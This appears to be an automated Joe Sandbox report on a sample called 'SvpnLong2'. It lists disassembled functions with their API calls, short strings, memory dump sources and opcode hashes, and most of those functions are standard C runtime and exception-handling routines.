Function 01862ADC Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 288COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 01853334: _getptd.LIBCMT ref: 01853346

_errno.LIBCMT ref: 01862B2C
_invalid_parameter_noinfo.LIBCMT ref: 01862B36
_errno.LIBCMT ref: 01862B58
_invalid_parameter_noinfo.LIBCMT ref: 01862B64
_errno.LIBCMT ref: 01862B8C
_cftoe_l.LIBCMT ref: 01862BD0

Strings

gfffffff, xrefs: 01862E5B

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo$_cftoe_l_getptd
String ID: gfffffff
API String ID: 1282097019-1523873471
Opcode ID: fa0a99ad7b7f2400bb0c28faa6c0015f3dcf09ae682282b5e9e5d8ac46116d98
Instruction ID: 5168adfb597b1f32bfc2f97ee13094efb5101f64b80dd0cb318e9b9b8f944855
Opcode Fuzzy Hash: fa0a99ad7b7f2400bb0c28faa6c0015f3dcf09ae682282b5e9e5d8ac46116d98
Instruction Fuzzy Hash: 75A155637047C98BEB02CB2DD5443AD7BAAE7257D4F04C6A1CF598779AE7388225C301

Function 01858808 Relevance: 12.2, APIs: 8, Instructions: 191COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0185883C
_errno.LIBCMT ref: 018589D4
_errno.LIBCMT ref: 01858A20
wcomexecmd.LIBCMT ref: 01858A3D
free.LIBCMT ref: 01858A48
_invalid_parameter_noinfo.LIBCMT ref: 01858847

Part of subcall function 01855664: GetCurrentProcess.KERNEL32(?,?,?,?,01855706), ref: 0185567C

wcomexecmd.LIBCMT ref: 0185897F
free.LIBCMT ref: 01858A59

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _errno$freewcomexecmd$CurrentProcess_invalid_parameter_noinfo
String ID:
API String ID: 1058736139-0
Opcode ID: 4df2f126d4db7e5acc1a539029345e9ccebf360a3dc86f4100520a20d305af61
Instruction ID: 721ae4a885c06262c972d475391072cffff410a26803a6966e10f69bfeae24cd
Opcode Fuzzy Hash: 4df2f126d4db7e5acc1a539029345e9ccebf360a3dc86f4100520a20d305af61
Instruction Fuzzy Hash: 1851392170038642EFA9EB3F695076E7692EB96BD4F8885269F59C7B54DE38C301C303

Function 01852C00 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32(0184AC7C), ref: 01854567
RtlLookupFunctionEntry.KERNEL32 ref: 01854586
RtlVirtualUnwind.KERNEL32 ref: 018545D2
IsDebuggerPresent.KERNEL32 ref: 01854644
SetUnhandledExceptionFilter.KERNEL32 ref: 0185465C
UnhandledExceptionFilter.KERNEL32 ref: 01854669
GetCurrentProcess.KERNEL32 ref: 01854682
TerminateProcess.KERNEL32 ref: 01854690

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: eef56456e6e2c180c42c0eb83d1c6856b7bb6072fe3c42e24124d62122c709d5
Instruction ID: e6aeeb4d59fb89bd24788f0e768fa6e66c4ce562b9c3928bfb14475ec2c5f304
Opcode Fuzzy Hash: eef56456e6e2c180c42c0eb83d1c6856b7bb6072fe3c42e24124d62122c709d5
Instruction Fuzzy Hash: E7311335208F84D9EB519B55F8A439AB3A4F789794F914026EE8D83B64EF7CC294CB00

Function 00007FF7411115D0 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF741116CA3
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF741116CC2
RtlVirtualUnwind.KERNEL32 ref: 00007FF741116D0E
IsDebuggerPresent.KERNEL32 ref: 00007FF741116D80
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF741116D98
UnhandledExceptionFilter.KERNEL32 ref: 00007FF741116DA5
GetCurrentProcess.KERNEL32 ref: 00007FF741116DBE
TerminateProcess.KERNEL32 ref: 00007FF741116DCC

Memory Dump Source

Source File: 00000000.00000002.2927544224.00007FF741101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF741100000, based on PE: true

Associated: 00000000.00000002.2927527053.00007FF741100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927544224.00007FF741170000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF741178000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF74118B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927638566.00007FF741193000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927652277.00007FF741198000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927665630.00007FF74119D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF74119E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7411AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF741BAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7425AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff741100000_SvpnLong2.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: 8111887c4a2bec764845ecab21004eb112cf7aa571a2e0200276d83b7b7fe8e5
Instruction ID: 8ee9efdd373972437797845f9723704adc63e31084825379674133446805783d
Opcode Fuzzy Hash: 8111887c4a2bec764845ecab21004eb112cf7aa571a2e0200276d83b7b7fe8e5
Instruction Fuzzy Hash: AF31E33592CB42C5EB12BB54F9403A9E3A5FB8A358F910036D99E43B64DFBCE454CB20

Function 01854565 Relevance: 12.1, APIs: 8, Instructions: 52COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32(0184AC7C), ref: 01854567
RtlLookupFunctionEntry.KERNEL32 ref: 01854586
RtlVirtualUnwind.KERNEL32 ref: 018545D2
IsDebuggerPresent.KERNEL32 ref: 01854644
SetUnhandledExceptionFilter.KERNEL32 ref: 0185465C
UnhandledExceptionFilter.KERNEL32 ref: 01854669
GetCurrentProcess.KERNEL32 ref: 01854682
TerminateProcess.KERNEL32 ref: 01854690

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: 229bee8a269af50cfbc25a9597bab389d63bbbe58a3b0a20ee4da0e24b214f5c
Instruction ID: 3802872a14cc28a30f306cefb10927da6e49d6552f1624ca3e2ac5e8f0883d9b
Opcode Fuzzy Hash: 229bee8a269af50cfbc25a9597bab389d63bbbe58a3b0a20ee4da0e24b214f5c
Instruction Fuzzy Hash: A8212575108F84DAE7409B55F8A438AB3A4F789798F91412AEE8E47B74DF7CC294CB01

Function 01859FFC Relevance: 10.6, APIs: 7, Instructions: 142COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0185A060

Part of subcall function 0185537C: Sleep.KERNEL32(?,?,00000000,01853110), ref: 018553C1

free.LIBCMT ref: 0185A0DE
free.LIBCMT ref: 0185A125
GetLocaleInfoW.KERNEL32 ref: 0185A15C
GetLocaleInfoW.KERNEL32 ref: 0185A186
free.LIBCMT ref: 0185A193
GetLocaleInfoW.KERNEL32 ref: 0185A1BE

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: InfoLocalefree$ErrorLastSleep
String ID:
API String ID: 3746651342-0
Opcode ID: 6a848371e18a341954794b67bec4cdb385d43afa7c3f227bbf21530a9614e49c
Instruction ID: 16bc189fcd205b65c53c62d1e3dc32df5aac862a472de37615cd22eb5e86f9da
Opcode Fuzzy Hash: 6a848371e18a341954794b67bec4cdb385d43afa7c3f227bbf21530a9614e49c
Instruction Fuzzy Hash: 57412D22715B4583EBA95B2EA99077A7795FB99BC8F008225DE0AC7B44EF7CC3058701

Function 01855518 Relevance: 9.1, APIs: 6, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 01855585
RtlLookupFunctionEntry.KERNEL32 ref: 0185559D
RtlVirtualUnwind.KERNEL32 ref: 018555D7
IsDebuggerPresent.KERNEL32 ref: 0185560D
SetUnhandledExceptionFilter.KERNEL32 ref: 01855617
UnhandledExceptionFilter.KERNEL32 ref: 01855622

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: e00cfd01c445d43680952383542ccd1df511af3e16f37920eced8dd854e6d5a1
Instruction ID: ea7047daec302bafd316b544acbb0923b3a52d22d8922a3c4a04451045fdabab
Opcode Fuzzy Hash: e00cfd01c445d43680952383542ccd1df511af3e16f37920eced8dd854e6d5a1
Instruction Fuzzy Hash: A0319272214F8186DB60CF29E85079E73A4FB99798F500126EF9D83B58DF38C645CB00

Function 00007FF741113EF0 Relevance: 9.1, APIs: 6, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF741113F7B
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF741113FA4
RtlVirtualUnwind.KERNEL32 ref: 00007FF741113FFD
IsDebuggerPresent.KERNEL32 ref: 00007FF741114050
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF74111405C
UnhandledExceptionFilter.KERNEL32 ref: 00007FF741114067

Memory Dump Source

Source File: 00000000.00000002.2927544224.00007FF741101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF741100000, based on PE: true

Associated: 00000000.00000002.2927527053.00007FF741100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927544224.00007FF741170000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF741178000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF74118B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927638566.00007FF741193000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927652277.00007FF741198000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927665630.00007FF74119D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF74119E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7411AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF741BAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7425AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff741100000_SvpnLong2.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ede2eb50e848da74378a58bd18abe1617dc34fc6556273d1c56e445863331863
Instruction ID: e3b8b04f3c58d6c652855013671a13705b095018ddf4a25bce1049e2ac15e16c
Opcode Fuzzy Hash: ede2eb50e848da74378a58bd18abe1617dc34fc6556273d1c56e445863331863
Instruction Fuzzy Hash: E141BC3651CBC4CAEB70AB14F8443ABB3A5F788355F800226D68D43AA8EF79D095CF00

Function 01844380 Relevance: 9.1, APIs: 6, Instructions: 53windowclipboardCOMMON

Download Yara Rule

APIs

SendMessageA.USER32 ref: 018443CD
SendMessageA.USER32 ref: 018443E1
DestroyWindow.USER32 ref: 018443EF
PostQuitMessage.USER32 ref: 018443F7
ChangeClipboardChain.USER32 ref: 0184440C
SetClipboardViewer.USER32 ref: 0184441A

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Message$ClipboardSend$ChainChangeDestroyPostQuitViewerWindow
String ID:
API String ID: 267668081-0
Opcode ID: 082f6aee9610bfdf75166013c68e509d110115bbd60ee7658a241065df36a9e0
Instruction ID: 4f19e4946b5640cc7a5a159d0aabd238abbabe7f71538b2b1a4b2faffd27ef20
Opcode Fuzzy Hash: 082f6aee9610bfdf75166013c68e509d110115bbd60ee7658a241065df36a9e0
Instruction Fuzzy Hash: E501D87175190683FB240BB9BCC93A622E0EB4DB51F885524C60DC6660DF2CC7D6C710

Function 0185CDF8 Relevance: 7.7, APIs: 5, Instructions: 165COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0185CE1F

Part of subcall function 01854958: _amsg_exit.LIBCMT ref: 0185496E

GetLocaleInfoA.KERNEL32 ref: 0185CE54
GetLocaleInfoA.KERNEL32 ref: 0185CEAC
GetLocaleInfoA.KERNEL32 ref: 0185CFA0

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: InfoLocale$_amsg_exit_getptd
String ID:
API String ID: 3133215516-0
Opcode ID: b37535e89f8ee36ccfc220229db33582cec2ed73fa463855176a6307d7dfb0fe
Instruction ID: 661d330b628067503bd24f2be114955c34c300fcff8775b227e40dcc68c0435a
Opcode Fuzzy Hash: b37535e89f8ee36ccfc220229db33582cec2ed73fa463855176a6307d7dfb0fe
Instruction Fuzzy Hash: F8618A32310A85D7DBAA8F79DA447DAB7A5F788785F804129CF19CB244DB38E265CB00

Function 0185E600 Relevance: 7.6, APIs: 5, Instructions: 101COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 0185E64B
GetLocaleInfoW.KERNEL32 ref: 0185E6DC
WideCharToMultiByte.KERNEL32 ref: 0185E717
free.LIBCMT ref: 0185E72B

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: InfoLocale$ByteCharMultiWidefree
String ID:
API String ID: 40707599-0
Opcode ID: f6508685e3ce72adba56589d76e77605baca0a4521d0a9a6298be5659777a405
Instruction ID: 8c95e802898d3a9ae6a096e986f1cb0e0ab75378000c1273435d786563be73cd
Opcode Fuzzy Hash: f6508685e3ce72adba56589d76e77605baca0a4521d0a9a6298be5659777a405
Instruction Fuzzy Hash: 9B318232311B848AEB558F299C4069AB7E5F748BE8F584622DF6D87B94DF38C701C710

Function 01856CAC Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 01856CE5

Part of subcall function 01854958: _amsg_exit.LIBCMT ref: 0185496E

Part of subcall function 01856A70: _getptd.LIBCMT ref: 01856AAA

Part of subcall function 018552FC: malloc.LIBCMT ref: 01855327
Part of subcall function 018552FC: Sleep.KERNEL32(?,?,00000000,01859B11,?,?,00000000,01859BBB,?,?,?,?,?,?,00000000,0185492C), ref: 0185533A

free.LIBCMT ref: 01856F42
free.LIBCMT ref: 01856F79
free.LIBCMT ref: 01856F86

Part of subcall function 01855664: GetCurrentProcess.KERNEL32(?,?,?,?,01855706), ref: 0185567C

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: free$_getptd$CurrentProcessSleep_amsg_exitmalloc
String ID:
API String ID: 2889500207-0
Opcode ID: 1f493abc6fd6c434f290a4f1ce0900d75929b439c5d2d86784c83b1ad7426d00
Instruction ID: ac5a3daaf276058adadbf2117bfb75df2e9f41a0a3ea97f3a5c3acdb9ce1dd53
Opcode Fuzzy Hash: 1f493abc6fd6c434f290a4f1ce0900d75929b439c5d2d86784c83b1ad7426d00
Instruction Fuzzy Hash: 1091F073305A85D6DB64DF2AE58079AB7A0F798788FA04126EF4D87B14EF38D645CB00

Function 018651A4 Relevance: 5.8, Strings: 4, Instructions: 795COMMONLIBRARYCODE

Download Yara Rule

Strings

1#SNAN, xrefs: 0186528E
1#IND, xrefs: 018652D3
1#QNAN, xrefs: 01865341
1#INF, xrefs: 0186530A

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID:
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 0-2761157908
Opcode ID: ae37326ad8b0142ec5130ca14a93f33df26e83527376f582be0cb3980e4223e9
Instruction ID: a0511510aa6955e9d7596091c7956d7096e76e7826b36fb868e5f584c5bf5bf1
Opcode Fuzzy Hash: ae37326ad8b0142ec5130ca14a93f33df26e83527376f582be0cb3980e4223e9
Instruction Fuzzy Hash: 0D52F277B242518BE725CFB9D010BAD3BBAF75478CB448019DE46A7F49EB388A15CB40

Function 01857F24 Relevance: 4.7, APIs: 3, Instructions: 207COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 01857F45
_invalid_parameter_noinfo.LIBCMT ref: 01857F51
_errno.LIBCMT ref: 01857F7E

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 9318081bc90adb89e222cb5cb55b6d4af5944e9728e9188c6bb36d3a18d913af
Instruction ID: 4359644f055cf405b7ebe83e3043d1175656eff0049bf578681177062d8e178e
Opcode Fuzzy Hash: 9318081bc90adb89e222cb5cb55b6d4af5944e9728e9188c6bb36d3a18d913af
Instruction Fuzzy Hash: 516119B2B1164A4BCB5C8F2DDC117686656E799784F48C136EE09CFB99FA3CE7018740

Function 0185D0C8 Relevance: 4.6, APIs: 3, Instructions: 70COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0185D0EA

Part of subcall function 01854958: _amsg_exit.LIBCMT ref: 0185496E

GetLocaleInfoA.KERNEL32 ref: 0185D11F

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: InfoLocale_amsg_exit_getptd
String ID:
API String ID: 488165793-0
Opcode ID: ff6c8d7fd4a3fb93cc6853fc5a208653f289c438a9581b4955ac7463f7590332
Instruction ID: 73e89ae48c4bc7c3e36b29d67f25eb089d4b7e2abd8c797ec8ab53b27b7fbcc9
Opcode Fuzzy Hash: ff6c8d7fd4a3fb93cc6853fc5a208653f289c438a9581b4955ac7463f7590332
Instruction Fuzzy Hash: F1218B32300AC1D7EBA99BA9D9447DAB7A1F784749F404226CF19CB354DF38D6A4C700

Function 0000000180007B78 Relevance: 3.2, APIs: 2, Instructions: 240COMMON

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 0000000180007BBD
_set_error_mode.LIBCMT ref: 0000000180007BCE

Part of subcall function 0000000180008F18: _errno.LIBCMT ref: 0000000180008F37
Part of subcall function 0000000180008F18: _invalid_parameter_noinfo.LIBCMT ref: 0000000180008F43

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: _set_error_mode$_errno_invalid_parameter_noinfo
String ID:
API String ID: 1239817535-0
Opcode ID: e95a3397aa3546c07422878068e18aca4d5bcc145f275ede3b700b5d109f43ac
Instruction ID: 13f65c1d3dcc789410465c9643042d0b96873f8eed5351407c3a2dc49f26d136
Opcode Fuzzy Hash: e95a3397aa3546c07422878068e18aca4d5bcc145f275ede3b700b5d109f43ac
Instruction Fuzzy Hash: B561653171894C4BE79AEB28A8557BA72D6FB9C341F00852EF48FC21D3DE34DA098746

Function 01857938 Relevance: 3.2, APIs: 2, Instructions: 235COMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 01857BAA

Part of subcall function 01858224: _errno.LIBCMT ref: 0185822D
Part of subcall function 01858224: _invalid_parameter_noinfo.LIBCMT ref: 01858238

_get_daylight.LIBCMT ref: 01857C30

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _get_daylight$_errno_invalid_parameter_noinfo
String ID:
API String ID: 3559991230-0
Opcode ID: b43875ae3d155f59fd31952636780625fee8c62a4db5b3f3ddbd55815cc4839e
Instruction ID: d7d04bf52d12ea45ec7624da99764c419f4f3eaedcc2d18c2b64467502b75260
Opcode Fuzzy Hash: b43875ae3d155f59fd31952636780625fee8c62a4db5b3f3ddbd55815cc4839e
Instruction Fuzzy Hash: 15811472B142458BD75DCF2CED917A8B696E398304F98D135EE06CBB95EB38EB008740

Function 0185CC80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0185CCA7

Part of subcall function 01854958: _amsg_exit.LIBCMT ref: 0185496E

GetLocaleInfoA.KERNEL32 ref: 0185CCDC

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: InfoLocale_amsg_exit_getptd
String ID:
API String ID: 488165793-0
Opcode ID: e83028f064fb692b6db49dee90aaed9ebf71b645ca53d954f3eea7db4dfd124b
Instruction ID: f93acdb67a050c0d019c32bfbe7586bec1980a69aef7baae335eb6f22ebedb0c
Opcode Fuzzy Hash: e83028f064fb692b6db49dee90aaed9ebf71b645ca53d954f3eea7db4dfd124b
Instruction Fuzzy Hash: 4D119D32700B8596DB68CB69E8453CA77A5F788B84F444122CF59C7314DF38D625CB40

Function 00000001800458E0 Relevance: 2.4, Strings: 1, Instructions: 1189COMMON

Download Yara Rule

Strings

E, xrefs: 00000001800459C1

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: malloc
String ID: E
API String ID: 2803490479-3568589458
Opcode ID: b7ced41b117cf742475f346cd26b075cab50c72c65087828be1a6ec2539981f2
Instruction ID: e595d62a5d03804eb537fee1b50ae0cca243a34ac573eda1963d6b0f3d6a9599
Opcode Fuzzy Hash: b7ced41b117cf742475f346cd26b075cab50c72c65087828be1a6ec2539981f2
Instruction Fuzzy Hash: 5D926E70618B498FD799DF18C4C5BA5B7E0FB9C704F10462EE89AC3252DB30E956CB86

Function 0000000180061210 Relevance: 2.2, Strings: 1, Instructions: 935COMMON

Download Yara Rule

Strings

?, xrefs: 00000001800612F2

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID:
String ID: ?
API String ID: 0-1684325040
Opcode ID: 7fb7ba63b369ccaf09454330928aae24656ea1014f60d09949c691c7a6891154
Instruction ID: 7353a0f4c3afd2dd0ecb7d1571f54ea78745280e28fab18e5da03fc444df4154
Opcode Fuzzy Hash: 7fb7ba63b369ccaf09454330928aae24656ea1014f60d09949c691c7a6891154
Instruction Fuzzy Hash: 29728270614B098FD7A9DF68C8857E6F7E1FB98301F24862DE4ABC3251DB30A556CB81

Function 0000000180046970 Relevance: 2.1, Strings: 1, Instructions: 891COMMON

Download Yara Rule

Strings

E, xrefs: 0000000180046AFD

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID:
String ID: E
API String ID: 0-3568589458
Opcode ID: b8d671952eefc2685992fa631f53fa0870f7987158e8cb6814f217784ee96c43
Instruction ID: 99d27697262e695735c595240d656a68547deabcb1a80617381a293d0ec3a99e
Opcode Fuzzy Hash: b8d671952eefc2685992fa631f53fa0870f7987158e8cb6814f217784ee96c43
